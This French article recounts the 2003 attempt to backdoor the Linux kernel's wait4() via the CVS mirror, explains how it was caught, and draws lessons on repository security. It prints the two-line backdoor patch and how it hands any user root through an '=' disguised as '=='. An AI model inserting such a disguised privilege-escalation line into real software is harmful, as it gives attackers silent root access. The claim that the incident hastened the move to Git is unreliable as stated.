# # Porte dérobée dans le noyau Linux : Comment un bug dans wait4() a failli accorder un accès root
En 2003, les développeurs Linux ont découvert une modification non autorisée dans le dépôt CVS. Un extrait de code suspect avait été inséré dans la fonction wait4(), pouvant accorder des privilèges root à n'importe quel utilisateur. Cette modification était apparue sans aucune trace dans le dépôt principal BitKeeper, indiquant directement une brèche dans le dépôt CVS.
Le code semblait inoffensif au premier abord :
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
Le problème se cachait dans l'opérateur =. Au lieu d'une comparaison avec ==, il s'agissait d'une affectation qui définissait current->uid à 0 (root) pour tout appel à wait4() avec les drapeaux __WCLONE et __WALL. Cela ouvrait une voie vers l'élévation de privilèges sans vérifications supplémentaires.
Historique des dépôts et point d'entrée de la vulnérabilité
À l'époque, Linux reposait sur deux dépôts en parallèle :
- BitKeeper — le SGC principal et moderne pour le noyau.
- CVS — un dépôt hérité pour les anciens outils et les développeurs old-school.
La synchronisation était manuelle : les changements de BitKeeper étaient copiés vers CVS avec les étiquettes. L'attaquant a ciblé spécifiquement CVS, y glissant le correctif sans se faire remarquer. L'absence de vérifications automatisées et les publics différents des dépôts ont permis à la brèche de passer inaperçue.
Les développeurs ont repéré l'anomalie lors d'une revue de routine : un commit dans CVS sans équivalent dans BitKeeper. La comparaison des versions a révélé le code malveillant.
Analyse technique de la vulnérabilité
La fonction wait4() gère l'attente de la fin des processus enfants, avec des options étendues. Les drapeaux __WCLONE et __WALL suivent les clones et tous les processus.
La logique de l'attaque était simple :
- L'utilisateur appelle
wait4(options = __WCLONE | __WALL). - La condition
current->uid = 0affecte l'UID 0 (root). - Elle retourne
-EINVAL, masquant le succès. - Les appels système suivants s'exécutent en tant que root.
C'était une porte dérobée zero-day : pas besoin d'exploit, activée par un appel standard. De telles erreurs (= au lieu de ==) sont une source courante de vulnérabilités en C.
Leçons pour le développement moderne
Cet incident a mis en lumière les risques des systèmes hérités. Les pratiques actuelles minimisent de telles menaces :
- Dépôt unique : Git avec branching et PRs.
- CI/CD avec vérifications : diffs automatisés, analyse statique (Coverity, Clang).
- Signature des commits : GPG/PGP pour l'authentification.
- Étiquettes signées : protection des sorties.
- Fuzzing et audit : tests continus des syscalls.
Le noyau Linux exige désormais des revues de code et des tests automatisés pour ces patterns.
Points clés
- Le bug
=au lieu de==danswait4()créait une porte dérobée root pour n'importe quel utilisateur. - Le piratage s'est produit via CVS, tandis que BitKeeper est resté propre.
- La synchronisation manuelle des dépôts était le maillon faible en 2003.
- L'incident a accéléré le passage à Git dans le développement du noyau.
- Vérifiez toujours les conditions dans les if : les compilateurs ne détectent pas toujours les affectations.
— Editorial Team
Aucun commentaire pour le moment.